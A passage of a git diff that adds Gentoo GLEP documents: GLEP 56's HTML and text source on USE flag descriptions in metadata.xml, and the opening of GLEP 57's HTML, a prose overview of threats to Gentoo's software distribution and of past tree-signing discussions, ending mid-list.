+<h1><a class="toc-backref" href="#id12">Abstract</a></h1>
+<p>This GLEP proposes to add per-package USE flag descriptions to each package's
+metadata.</p>
+</div>
+<div class="section" id="motivation">
+<h1><a class="toc-backref" href="#id13">Motivation</a></h1>
+<p>Gives Gentoo users the ability to better identify how USE flags affect their
+installations of a given package. For example, many global USE flags have very
+generic descriptions but no specifics on how it affects a certain package.
+Specifically speaking, an example would be net-print/cups and the 'jpeg' USE
+flag. Does this flag mean you won't be able to print jpeg files? You can print
+them directly? It's interface won't use jpeg files.</p>
+<blockquote>
+<ul class="simple">
+<li>Motivator References: <a class="footnote-reference" href="#motivators1" id="id1">[6]</a>, <a class="footnote-reference" href="#motivators2" id="id2">[7]</a>, <a class="footnote-reference" href="#motivators3" id="id3">[8]</a>,
+and <a class="footnote-reference" href="#motivators4" id="id4">[9]</a></li>
+</ul>
+</blockquote>
+</div>
+<div class="section" id="specification">
+<h1><a class="toc-backref" href="#id14">Specification</a></h1>
+<p>This GLEP proposes the addition of <tt class="docutils literal">&lt;use&gt;</tt> XML tag that is only allowed to
+appear inside of a <tt class="docutils literal">&lt;pkgmetadata&gt;</tt> XML tag.</p>
+<blockquote>
+<ul>
+<li><p class="first">Inside the <tt class="docutils literal">&lt;use&gt;</tt> XML tag, the <tt class="docutils literal">&lt;flag&gt;</tt> XML tag is allowed to appear
+once per USE flag as specified by the <tt class="docutils literal">'name'</tt> attribute with the
+following exception:</p>
+<ul class="simple">
+<li>The <tt class="docutils literal">'restrict'</tt> atttribute can limit to specific versions of the
+package, where the attribute value must be a valid CPV as defined by the
+<cite>Gentoo Developer Handbook</cite> <a class="footnote-reference" href="#devhandbook" id="id5">[4]</a>.  This follows the current
+behavior of the <tt class="docutils literal">'restrict'</tt> attribute in metadata.xml.<ul>
+<li>e.g. A USE flag may have one behavior for version 0.1 of a package,
+while version 0.2, the USE flag may differ slightly.</li>
+</ul>
+</li>
+</ul>
+</li>
+<li><p class="first">Each <tt class="docutils literal">&lt;flag&gt;</tt> XML tag requires a 'name' attribute which is the full USE
+flag name as it would appear in the IUSE section of the ebuild.</p>
+<blockquote>
+<ul class="simple">
+<li>e.g. &quot;video_cards_i810&quot; or &quot;alsa&quot;</li>
+</ul>
+</blockquote>
+</li>
+<li><p class="first">Each <tt class="docutils literal">&lt;flag&gt;</tt> XML tag allows 0 or more nested <tt class="docutils literal">&lt;pkg&gt;</tt> XML tags whose
+character data is a valid CP or CPV as defined by the
+<cite>Gentoo Development Manual - Ebuild File Format</cite> <a class="footnote-reference" href="#devmanual" id="id6">[5]</a>.</p>
+</li>
+<li><p class="first">Each <tt class="docutils literal">&lt;flag&gt;</tt> XML tag allows 0 or more nested <tt class="docutils literal">&lt;cat&gt;</tt> XML tags whose
+character data is a valid category.</p>
+</li>
+<li><p class="first">The <tt class="docutils literal">&lt;use&gt;</tt> XML tag may appear multiple times inside of the
+<tt class="docutils literal">&lt;pkgmetadata&gt;</tt> XML tag if and only if it contains a different <tt class="docutils literal">'lang'</tt>
+attribute value.</p>
+<ul class="simple">
+<li>The <tt class="docutils literal">lang</tt> attribute follows the documented <tt class="docutils literal">lang</tt> attribute in the
+<cite>Gentoo Developer Handbook</cite> <a class="footnote-reference" href="#devhandbook" id="id7">[4]</a>.</li>
+</ul>
+</li>
+</ul>
+</blockquote>
+<p>Documentation for the <cite>Gentoo Developer Handbook</cite> <a class="footnote-reference" href="#devhandbook" id="id8">[4]</a> and the
+metadata.dtd can be found in Gentoo's Bugzilla <a class="footnote-reference" href="#use-flag-metadata-bug" id="id9">[1]</a>
+bug #199788.</p>
+<p>The following are two concrete examples in tree, <a class="footnote-reference" href="#use-flag-metadata-example1" id="id10">[2]</a>
+and <a class="footnote-reference" href="#use-flag-metadata-example2" id="id11">[3]</a>.</p>
+<p>And the following is an embedded example and not from a real package:</p>
+<pre class="literal-block">
+&lt;use&gt;
+        &lt;flag name='acpi'&gt;Enables HAL to attempt to read from
+        /proc/acpi/event, if unavailable, HAL will read events from
+        &lt;pkg&gt;sys-power/acpid&lt;/pkg&gt;. If you need multiple acpi readers,
+        ensure acpid is in your default runlevel
+        (rc-update add acpid default) along with HAL. This will also
+        enable HAL to read Toshiba and IBM acpi events which do not
+        get sent via /proc/acpi/event&lt;/flag&gt;
+        &lt;flag name='spell'&gt;Enables spell checking capability using
+        dictionaries found in &lt;cat&gt;app-dict&lt;/cat&gt;&lt;/flag&gt;
+&lt;/use&gt;
+</pre>
+</div>
+<div class="section" id="credits">
+<h1><a class="toc-backref" href="#id15">Credits</a></h1>
+<p>Thanks to the following persons for their input on or related to this GLEP
+(even though they might not have known it):
+Diego Pettenò (flameeyes), Alec Warner (antarus), Joshua Nichols (nichoj),
+Steve Dibb (beandog), and Tiziano Müller (dev-zero)</p>
+</div>
+<div class="section" id="references">
+<h1><a class="toc-backref" href="#id16">References</a></h1>
+<table class="docutils footnote" frame="void" id="use-flag-metadata-bug" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id9">[1]</a></td><td><a class="reference external" href="http://bugs.gentoo.org/show_bug.cgi?id=199788">http://bugs.gentoo.org/show_bug.cgi?id=199788</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="use-flag-metadata-example1" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id10">[2]</a></td><td><a class="reference external" href="http://sources.gentoo.org/viewcvs.py/gentoo-x86/sys-apps/hal/metadata.xml?view=markup">http://sources.gentoo.org/viewcvs.py/gentoo-x86/sys-apps/hal/metadata.xml?view=markup</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="use-flag-metadata-example2" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id11">[3]</a></td><td><a class="reference external" href="http://sources.gentoo.org/viewcvs.py/gentoo-x86/media-tv/mythtv/metadata.xml?view=markup">http://sources.gentoo.org/viewcvs.py/gentoo-x86/media-tv/mythtv/metadata.xml?view=markup</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="devhandbook" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label">[4]</td><td><em>(<a class="fn-backref" href="#id5">1</a>, <a class="fn-backref" href="#id7">2</a>, <a class="fn-backref" href="#id8">3</a>)</em> <a class="reference external" href="http://www.gentoo.org/proj/en/devrel/handbook/handbook.xml?part=2&amp;chap=4">http://www.gentoo.org/proj/en/devrel/handbook/handbook.xml?part=2&amp;chap=4</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="devmanual" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id6">[5]</a></td><td><a class="reference external" href="http://devmanual.gentoo.org/ebuild-writing/file-format/index.html">http://devmanual.gentoo.org/ebuild-writing/file-format/index.html</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="motivators1" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id1">[6]</a></td><td><a class="reference external" href="http://blog.flameeyes.eu/articles/2007/11/19/lets-actually-get-some-metadata">http://blog.flameeyes.eu/articles/2007/11/19/lets-actually-get-some-metadata</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="motivators2" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id2">[7]</a></td><td><a class="reference external" href="http://blog.cardoe.com/archives/2007/11/19/use-flag-metadata/">http://blog.cardoe.com/archives/2007/11/19/use-flag-metadata/</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="motivators3" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id3">[8]</a></td><td><a class="reference external" href="http://blog.cardoe.com/archives/2007/11/23/metadataxml-updates-examples/">http://blog.cardoe.com/archives/2007/11/23/metadataxml-updates-examples/</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="motivators4" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id4">[9]</a></td><td><a class="reference external" href="http://technicalpickles.com/posts/pidgin-idle-time">http://technicalpickles.com/posts/pidgin-idle-time</a></td></tr>
+</tbody>
+</table>
+</div>
+<div class="section" id="backwards-compatibility">
+<h1><a class="toc-backref" href="#id17">Backwards Compatibility</a></h1>
+<p>No changes are necessary to existing <tt class="docutils literal">metadata.xml</tt> files. Information in
+the new tags is not mandatory. Tools that currently read <tt class="docutils literal">metadata.xml</tt>
+files may break if written poorly, while well written tools should just ignore
+the additional elements. Tools which are capable of handling the new tags
+should prefer their data over <tt class="docutils literal">use.desc</tt> and <tt class="docutils literal">use.local.desc</tt>.</p>
+<p>USE flags still must be defined in <tt class="docutils literal">use.desc</tt> or <tt class="docutils literal">use.local.desc</tt>. If the
+USE flag is not found in either <tt class="docutils literal">use.desc</tt> or <tt class="docutils literal">use.local.desc</tt>, the
+information contained within the new tags in <tt class="docutils literal">metadata.xml</tt> must be ignored
+and QA tools should warn as they currently do.</p>
+<p>Once this GLEP is approved, the Gentoo Infrastructure Team will work to remove
+the <tt class="docutils literal">use.local.desc</tt> file from CVS and it will be auto-generated for rsync.
+This will ensure that backwards compatibility is not broken for users of
+non-CVS trees. At this time, QA tools will need to be updated to verify the
+contents of <tt class="docutils literal">metadata.xml</tt> containing the necessary tags which would appear
+in <tt class="docutils literal">use.local.desc</tt>.</p>
+</div>
+<div class="section" id="copyright">
+<h1><a class="toc-backref" href="#id18">Copyright</a></h1>
+<p>This document is placed into the public domain.</p>
+<!-- vim: set ft=glep tw=72 : -->
+</div>
+
+</div>
+<div class="footer">
+<hr class="footer" />
+<a class="reference external" href="glep-0056.txt">View document source</a>.
+Generated on: 2010-04-07 22:13 UTC.
+Generated by <a class="reference external" href="http://docutils.sourceforge.net/">Docutils</a> from <a class="reference external" href="http://docutils.sourceforge.net/rst.html">reStructuredText</a> source.
+
+</div>
+</body>
+</html>
diff --git a/xml/htdocs/proj/en/glep/glep-0056.txt b/xml/htdocs/proj/en/glep/glep-0056.txt
new file mode 100644
index 00000000..86422224
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0056.txt
@@ -0,0 +1,152 @@
+GLEP: 56
+Title: USE flag descriptions in metadata
+Version: $Revision: 1.4 $
+Last-Modified: $Date: 2008/09/02 20:37:40 $
+Author: Doug Goldstein <cardoe@gentoo.org>
+Status: Final
+Type: Standards Track
+Content-Type: text/x-rst
+Created: 03-Jun-2008
+Post-History: 05-June-2008, 13-Jun-2008
+
+Abstract
+========
+
+This GLEP proposes to add per-package USE flag descriptions to each package's
+metadata.
+
+
+Motivation
+==========
+
+Gives Gentoo users the ability to better identify how USE flags affect their
+installations of a given package. For example, many global USE flags have very
+generic descriptions but no specifics on how it affects a certain package.
+Specifically speaking, an example would be net-print/cups and the 'jpeg' USE
+flag. Does this flag mean you won't be able to print jpeg files? You can print
+them directly? It's interface won't use jpeg files.
+
+ - Motivator References: [#motivators1]_, [#motivators2]_, [#motivators3]_,
+   and [#motivators4]_
+
+
+Specification
+=============
+
+This GLEP proposes the addition of ``<use>`` XML tag that is only allowed to
+appear inside of a ``<pkgmetadata>`` XML tag.
+
+ - Inside the ``<use>`` XML tag, the ``<flag>`` XML tag is allowed to appear
+   once per USE flag as specified by the ``'name'`` attribute with the
+   following exception:
+   
+   * The ``'restrict'`` atttribute can limit to specific versions of the
+     package, where the attribute value must be a valid CPV as defined by the
+     `Gentoo Developer Handbook` [#devhandbook]_.  This follows the current
+     behavior of the ``'restrict'`` attribute in metadata.xml. 
+     
+     - e.g. A USE flag may have one behavior for version 0.1 of a package,
+       while version 0.2, the USE flag may differ slightly.
+
+ - Each ``<flag>`` XML tag requires a 'name' attribute which is the full USE
+   flag name as it would appear in the IUSE section of the ebuild.
+    
+    * e.g. "video_cards_i810" or "alsa"
+
+ - Each ``<flag>`` XML tag allows 0 or more nested ``<pkg>`` XML tags whose
+   character data is a valid CP or CPV as defined by the
+   `Gentoo Development Manual - Ebuild File Format` [#devmanual]_.
+
+ - Each ``<flag>`` XML tag allows 0 or more nested ``<cat>`` XML tags whose
+   character data is a valid category.
+
+ - The ``<use>`` XML tag may appear multiple times inside of the
+   ``<pkgmetadata>`` XML tag if and only if it contains a different ``'lang'``
+   attribute value.
+
+   * The ``lang`` attribute follows the documented ``lang`` attribute in the
+     `Gentoo Developer Handbook` [#devhandbook]_.
+
+Documentation for the `Gentoo Developer Handbook` [#devhandbook]_ and the
+metadata.dtd can be found in Gentoo's Bugzilla [#use-flag-metadata-bug]_
+bug #199788.
+
+The following are two concrete examples in tree, [#use-flag-metadata-example1]_
+and [#use-flag-metadata-example2]_.
+
+And the following is an embedded example and not from a real package::
+
+	<use>
+		<flag name='acpi'>Enables HAL to attempt to read from
+		/proc/acpi/event, if unavailable, HAL will read events from
+		<pkg>sys-power/acpid</pkg>. If you need multiple acpi readers,
+		ensure acpid is in your default runlevel
+		(rc-update add acpid default) along with HAL. This will also
+		enable HAL to read Toshiba and IBM acpi events which do not
+		get sent via /proc/acpi/event</flag>
+		<flag name='spell'>Enables spell checking capability using
+		dictionaries found in <cat>app-dict</cat></flag>
+	</use>
+
+
+
+Credits
+=======
+
+Thanks to the following persons for their input on or related to this GLEP
+(even though they might not have known it):
+Diego Pettenò (flameeyes), Alec Warner (antarus), Joshua Nichols (nichoj),
+Steve Dibb (beandog), and Tiziano Müller (dev-zero)
+
+
+References
+==========
+
+.. [#use-flag-metadata-bug] http://bugs.gentoo.org/show_bug.cgi?id=199788
+
+.. [#use-flag-metadata-example1] http://sources.gentoo.org/viewcvs.py/gentoo-x86/sys-apps/hal/metadata.xml?view=markup
+
+.. [#use-flag-metadata-example2] http://sources.gentoo.org/viewcvs.py/gentoo-x86/media-tv/mythtv/metadata.xml?view=markup 
+
+.. [#devhandbook] http://www.gentoo.org/proj/en/devrel/handbook/handbook.xml?part=2&chap=4
+
+.. [#devmanual] http://devmanual.gentoo.org/ebuild-writing/file-format/index.html
+
+.. [#motivators1] http://blog.flameeyes.eu/articles/2007/11/19/lets-actually-get-some-metadata
+
+.. [#motivators2] http://blog.cardoe.com/archives/2007/11/19/use-flag-metadata/
+
+.. [#motivators3] http://blog.cardoe.com/archives/2007/11/23/metadataxml-updates-examples/
+
+.. [#motivators4] http://technicalpickles.com/posts/pidgin-idle-time
+
+
+Backwards Compatibility
+=======================
+
+No changes are necessary to existing ``metadata.xml`` files. Information in
+the new tags is not mandatory. Tools that currently read ``metadata.xml``
+files may break if written poorly, while well written tools should just ignore
+the additional elements. Tools which are capable of handling the new tags
+should prefer their data over ``use.desc`` and ``use.local.desc``.
+
+USE flags still must be defined in ``use.desc`` or ``use.local.desc``. If the
+USE flag is not found in either ``use.desc`` or ``use.local.desc``, the
+information contained within the new tags in ``metadata.xml`` must be ignored
+and QA tools should warn as they currently do.
+
+Once this GLEP is approved, the Gentoo Infrastructure Team will work to remove
+the ``use.local.desc`` file from CVS and it will be auto-generated for rsync.
+This will ensure that backwards compatibility is not broken for users of
+non-CVS trees. At this time, QA tools will need to be updated to verify the
+contents of ``metadata.xml`` containing the necessary tags which would appear
+in ``use.local.desc``.
+
+
+Copyright
+=========
+
+This document is placed into the public domain.
+
+.. vim: set ft=glep tw=72 :
+
diff --git a/xml/htdocs/proj/en/glep/glep-0057.html b/xml/htdocs/proj/en/glep/glep-0057.html
new file mode 100644
index 00000000..4573d001
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0057.html
@@ -0,0 +1,417 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+
+<head>
+  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+  <meta name="generator" content="Docutils 0.6: http://docutils.sourceforge.net/" />
+  <title>GLEP 57 -- Security of distribution of Gentoo software - Overview</title>
+  <link rel="stylesheet" href="tools/glep.css" type="text/css" /></head>
+<body bgcolor="white">
+<table class="navigation" cellpadding="0" cellspacing="0"
+       width="100%" border="0">
+<tr><td class="navicon" width="150" height="35">
+<a href="http://www.gentoo.org/" title="Gentoo Linux Home Page">
+<img src="http://www.gentoo.org/images/gentoo-new.gif" alt="[Gentoo]"
+ border="0" width="150" height="35" /></a></td>
+<td class="textlinks" align="left">
+[<b><a href="http://www.gentoo.org/">Gentoo Linux Home</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep">GLEP Index</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep/glep-0057.txt">GLEP Source</a></b>]
+</td></tr></table>
+<table class="rfc2822 docutils field-list" frame="void" rules="none">
+<col class="field-name" />
+<col class="field-body" />
+<tbody valign="top">
+<tr class="field"><th class="field-name">GLEP:</th><td class="field-body">57</td>
+</tr>
+<tr class="field"><th class="field-name">Title:</th><td class="field-body">Security of distribution of Gentoo software - Overview</td>
+</tr>
+<tr class="field"><th class="field-name">Version:</th><td class="field-body">1.6</td>
+</tr>
+<tr class="field"><th class="field-name">Last-Modified:</th><td class="field-body"><a class="reference external" href="http://www.gentoo.org/cgi-bin/viewcvs.cgi/xml/htdocs/proj/en/glep/glep-0057.txt?cvsroot=gentoo">2010/04/07 21:34:24</a></td>
+</tr>
+<tr class="field"><th class="field-name">Author:</th><td class="field-body">Robin Hugh Johnson &lt;robbat2&#32;&#97;t&#32;gentoo.org&gt;</td>
+</tr>
+<tr class="field"><th class="field-name">Status:</th><td class="field-body">Final</td>
+</tr>
+<tr class="field"><th class="field-name">Type:</th><td class="field-body">Informational</td>
+</tr>
+<tr class="field"><th class="field-name">Content-Type:</th><td class="field-body"><a class="reference external" href="glep-0002.html">text/x-rst</a></td>
+</tr>
+<tr class="field"><th class="field-name">Created:</th><td class="field-body">November 2005</td>
+</tr>
+<tr class="field"><th class="field-name">Updated:</th><td class="field-body">May 2006, October 2006, November 2007, June 2008, July 2008, October 2008, January 2010</td>
+</tr>
+<tr class="field"><th class="field-name">Post-History:</th><td class="field-body">December 2009</td>
+</tr>
+<tr class="field"><th class="field-name">Approved:</th><td class="field-body">18 January 2010</td>
+</tr>
+</tbody>
+</table>
+<hr />
+<div class="contents topic" id="contents">
+<p class="topic-title first">Contents</p>
+<ul class="simple">
+<li><a class="reference internal" href="#abstract" id="id1">Abstract</a></li>
+<li><a class="reference internal" href="#motivation" id="id2">Motivation</a></li>
+<li><a class="reference internal" href="#specification" id="id3">Specification</a><ul>
+<li><a class="reference internal" href="#system-elements" id="id4">System Elements</a></li>
+<li><a class="reference internal" href="#processes" id="id5">Processes</a></li>
+<li><a class="reference internal" href="#attacks-against-processes" id="id6">Attacks against Processes</a></li>
+<li><a class="reference internal" href="#security-for-processes" id="id7">Security for Processes</a></li>
+</ul>
+</li>
+<li><a class="reference internal" href="#backwards-compatibility" id="id8">Backwards Compatibility</a></li>
+<li><a class="reference internal" href="#endnote-history-of-tree-signing-in-gentoo" id="id9">Endnote: History of tree-signing in Gentoo</a></li>
+<li><a class="reference internal" href="#thanks" id="id10">Thanks</a></li>
+<li><a class="reference internal" href="#references" id="id11">References</a></li>
+<li><a class="reference internal" href="#copyright" id="id12">Copyright</a></li>
+</ul>
+</div>
+<div class="section" id="abstract">
+<h1><a class="toc-backref" href="#id1">Abstract</a></h1>
+<p>This is the first in a series of 4 GLEPs. It aims to define the actors
+and problems in the Gentoo software distribution process, with a strong
+emphasis on security. The concepts thus developed, will then be used in
+the following GLEPs to describe a comprehensive security solution for
+this distribution process that prevents trivial attacks and increases
+the difficulty on more complex attacks.</p>
+</div>
+<div class="section" id="motivation">
+<h1><a class="toc-backref" href="#id2">Motivation</a></h1>
+<p>Since at mid-2002 (see endnote: &quot;History of tree-signing in Gentoo&quot;),
+many discussions have taken place on the gentoo-dev mailing list and in
+many other places to design and implement a security strategy for the
+distribution of files by the Gentoo project.</p>
+<p>Usually the goal of such proposals was and is to be able to securely
+identify the data provided by Gentoo and prevent third parties (like a
+compromised mirror) from delivering harmful data (be it as modified
+ebuilds, executable shell code or any other form) to the users of the
+Gentoo MetaDistribution.</p>
+<p>These strategies can neither prevent a malicious or compromised upstream
+from injecting &quot;bad&quot; programs, nor can they stop a rogue developer from
+committing malicious ebuilds. What they can do is to reduce the attack
+vectors so that for example a compromised mirror will be detected and no
+tainted data will be executed on user's systems.</p>
+<p>Gentoo's software distribution system as it presently stands, contains a
+number of security shortcomings. The last discussion on the gentoo-dev
+mailing list [<a class="reference external" href="http://thread.gmane.org/gmane.linux.gentoo.devel/38363">http://thread.gmane.org/gmane.linux.gentoo.devel/38363</a>]
+contains a good overview of most of the issues. Summarized here:</p>
+<blockquote>
+<ul class="simple">
+<li>Unverifiable executable code distributed:
+The most obvious instance are eclasses, but there are many other bits
+of the tree that are not signed at all right now. Modifying that data
+is trivial.</li>
+<li>Shortcomings of existing Manifest verification
+A lack and enforcement of policies, combined with suboptimal support
+in portage, makes it trivial to modify or replace the existing
+Manifests.</li>
+<li>Vulnerability of existing infrastructure to attacks.
+The previous two items make it possible for a skilled attacker to
+design an attack and then execute it against specific portions of
+existing infrastructure (e.g.: Compromise a country-local rsync
+mirror, and totally replace a package and it's Manifest).</li>
+</ul>
+</blockquote>
+</div>
+<div class="section" id="specification">
+<h1><a class="toc-backref" href="#id3">Specification</a></h1>
+<p>Security is not something that can be considered in isolation. It is
+both an ongoing holistic process and lessons learnt by examining
+previous shortcomings.</p>
+<div class="section" id="system-elements">
+<h2><a class="toc-backref" href="#id4">System Elements</a></h2>
+<dl class="docutils">
+<dt>There are a few entities to be considered:</dt>
+<dd><ul class="first last simple">
+<li>Upstream. The people who provide the program(s) or data we wish to
+distribute.</li>
+<li>Gentoo Developers. The people that package and test the things
+provided by Upstream.</li>
+<li>Gentoo Infrastructure. The people and hardware that allow the revision
+control of metadata and distribution of the data and metadata provided
+by Developers and Upstream.</li>
+<li>Gentoo Mirrors. Hardware provided by external contributors that is not
+or only marginally controlled by Gentoo Infrastructure. Needed to
+achieve the scalability and performance needed for the substantial
+Gentoo user base.</li>
+<li>Gentoo Users. The people that use the Gentoo MetaDistribution.</li>
+</ul>
+</dd>
+</dl>
+<p>The data described here is usually programs and data files provided by
+upstream; as this is a rather large amount of data it is usually
+distributed over http or ftp from Gentoo Mirrors. This data is usually
+labeled as &quot;distfiles&quot;. Metadata is all information describing how to
+manipulate that data - it is usually called &quot;The Tree&quot; or &quot;The Portage
+Tree&quot;, consists of many ebuilds, eclasses and supporting files and is
+usually distributed over rsync. The central rsync servers are controlled
+by Gentoo Infrastructure, but many third-party rsync mirrors exist that
+help to reduce the load on those central servers. These extra mirrors
+are not maintained by Gentoo Infrastructure.</p>
+<p>Attacks may be conducted against any of these entities. Obviously
+direct attacks against Upstream and Users are outside of the scope of
+this series of GLEPs as they are not in any way controlled or
+controllable by Gentoo - however attacks using Gentoo as a conduit
+(including malicious mirrors) must be considered.</p>
+</div>
+<div class="section" id="processes">
+<h2><a class="toc-backref" href="#id5">Processes</a></h2>
+<p>There are two major processes in the distribution of Gentoo, where
+security needs to be implemented:</p>
+<blockquote>
+<ul class="simple">
+<li>Developer commits to version control systems controlled by
+Infrastructure.</li>
+<li>Tree and distfile distribution from Infrastructure to Users, via the
+mirrors (this includes both HTTP and rsync distribution).</li>
+</ul>
+</blockquote>
+<p>Both processes need their security improved. In [GLEPxx2] we will discuss
+how to improve the security of the first process. The relatively
+speaking simpler process of file distribution will be described in
+[GLEP58]. Since it can be implemented without having to change the
+workflow and behaviour of developers we hope to get it done in a
+reasonably short timeframe.</p>
+</div>
+<div class="section" id="attacks-against-processes">
+<h2><a class="toc-backref" href="#id6">Attacks against Processes</a></h2>
+<p>Attacks against the process #1 may be as complex as a malicious or
+compromised developer (stolen SSH keys, rooted systems), or as simple as
+a patch from a user that does a little more than it claims, and is not
+adequately reviewed.</p>
+<p>Attacks against the process #2 may be as simple as a single rooted
+mirror, distributing a modified tree to the users of that mirror - or
+some alteration of upstream sources. These attacks have a low cost and
+are very hard to discover unless all distributed data is transparently
+signed.</p>
+<p>A simple example of such an attack and a partial solution for eclasses
+is presented in [ <a class="reference external" href="http://thread.gmane.org/gmane.linux.gentoo.devel/24677">http://thread.gmane.org/gmane.linux.gentoo.devel/24677</a>
+]. It shows quite well that any non-Gentoo controlled rsync mirror can
+modify executable code; as much of this code is per default run as root
+a malicious mirror could compromise hundreds of systems per day - if
+cloaked well enough, such an attack could run for weeks before being
+noticed. As there are no effective safeguards right now users are left
+with the choice of either syncing from the sometimes slow or even
+unresponsive Gentoo-controlled rsync mirrors or risk being compromised
+by syncing from one of the community-provided mirrors. We will show that
+protection against this class of attacks is very easy to implement with
+little added cost.</p>
+<p>At the level of mirrors, addition of malicious content is not the only
+attack. As discussed by Cappos et al [C08a,C08b], an attacker may use
+exclusion and replay attacks, possibly only on a specific subset of
+user to extend the window of opportunity on another exploit.</p>
+</div>
+<div class="section" id="security-for-processes">
+<h2><a class="toc-backref" href="#id7">Security for Processes</a></h2>
+<p>Protection for process #1 can never be complete (without major
+modifications to our development process), as a malicious developer is
+fully authorized to provide materials for distribution. Partial
+protection can be gained by Portage and Infrastructure changes, but the
+real improvements needed are developer education and continued
+vigilance. This is further discussed in [GLEPxx2].</p>
+<p>This security is still limited in scope - protection against compromised
+developers is very expensive, and even complex systems like peer review
+/ multiple signatures can be broken by colluding developers. There are many
+issues, be it social or technical, that increase the cost of such
+measures a lot while only providing marginal security gains. Any
+implementation proposal must be carefully analysed to find the best
+security to developer hassle ratio.</p>
+<p>Protection for process #2 is a different matter entirely. While it also
+cannot be complete (as the User may be attacked directly), we can ensure
+that Gentoo infrastructure and the mirrors are not a weak point. This
+objective is actually much closer than it seems already - most of the
+work has been completed for other things!. This is further discussed in
+[GLEP58]. As this process has the most to gain in security, and the
+most immediate impact, it should be implemented before or at the same
+time as any changes to process #1. Security at this layer is already
+available in the signed daily snapshots, but we can extend it to cover
+the rsync mirrors as well.</p>
+<p>Requirements pertaining to and management of keys (OpenPGP or otherwise)
+is an issue that affects both processes, and is broken out into a
+separate GLEP due to the technical complexity of the subject.
+This deals with everything including: types of keys to use; usage
+guidelines; procedures for managing signatures and trust for keys,
+including cases of lost (destroyed) and stolen (or otherwise turned
+malicious) keys.</p>
+</div>
+</div>
+<div class="section" id="backwards-compatibility">
+<h1><a class="toc-backref" href="#id8">Backwards Compatibility</a></h1>
+<p>As an informational GLEP, this document has no direct impact on
+backwards compatibility. However the related in-depth documents may
+delve further into any issues of backwards compatibility.</p>
+</div>
+<div class="section" id="endnote-history-of-tree-signing-in-gentoo">
+<h1><a class="toc-backref" href="#id9">Endnote: History of tree-signing in Gentoo</a></h1>
+<p>This is a brief review of every previous tree-signing discussion, the
+stuff before 2003-04-03 was very hard to come by, so I apologize if I've
+missed a discussion (I would like to hear about it). I think there was
+a very early private discussion with drobbins in 2001, as it's vaguely
+referenced, but I can't find it anywhere.</p>
+<p>2002-06-06, gentoo-dev mailing list, users first ask about signing of
+ebuilds:
+[ <a class="reference external" href="http://thread.gmane.org/gmane.linux.gentoo.devel/1950">http://thread.gmane.org/gmane.linux.gentoo.devel/1950</a> ]</p>
+<p>2003-01-13, gentoo-dev mailing list, &quot;Re: Verifying portage is from
+Gentoo&quot; - Paul de Vrieze (pauldv):
+[ <a class="reference external" href="http://thread.gmane.org/gmane.linux.gentoo.devel/6619/focus=6619">http://thread.gmane.org/gmane.linux.gentoo.devel/6619/focus=6619</a> ]</p>
+<p>2003-04, GWN articles announcing tree signing:
+[ <a class="reference external" href="http://www.gentoo.org/news/en/gwn/20030407-newsletter.xml#doc_chap1_sect3">http://www.gentoo.org/news/en/gwn/20030407-newsletter.xml#doc_chap1_sect3</a> ]
+[ <a class="reference external" href="http://www.gentoo.org/news/en/gwn/20030421-newsletter.xml#doc_chap1_sect2">http://www.gentoo.org/news/en/gwn/20030421-newsletter.xml#doc_chap1_sect2</a> ]</p>
+<p>2003-04, gentoo-security mailing list, &quot;The state of ebuild signing
+in portage&quot; - Joshua Brindle (method), the first suggestion of signed Manifests,
+but also an unusual key-trust model:
+[ <a class="reference external" href="http://marc.theaimsgroup.com/?l=gentoo-security&amp;m=105073449619892&amp;w=2">http://marc.theaimsgroup.com/?l=gentoo-security&amp;m=105073449619892&amp;w=2</a> ]</p>
+<p>2003-04, gentoo-core mailing list, &quot;New Digests and Signing -- Attempted Explanation&quot;</p>
+<p>2003-06, gentoo-core mailing list, &quot;A quick guide to GPG and key
+signing.&quot; - This overview was one of the first to help developers see
+how to use their devs, and was mainly intended for keysigning meetups.</p>
+<p>2003-08-09, gentoo-core mailing list, &quot;Ebuild signing&quot; - status query,
+with an not very positive response, delayed by Nick Jones (carpaski)
+getting rooted and a safe cleanup taking a long time to affect.</p>
+<p>2003-12-02, gentoo-core mailing list, &quot;Report: rsync1.it.gentoo.org compromised&quot;</p>
+<p>2003-12-03, gentoo-core mailing list, &quot;Signing of ebuilds&quot;</p>
+<p>2003-12-07, gentoo-core mailing list, &quot;gpg signing of Manifests&quot;, thread
+includes the first GnuPG signing prototype code, by Robin H. Johnson
+(robbat2). Andrew Cowie (rac) also produces a proof-of-concept around
+this time.</p>
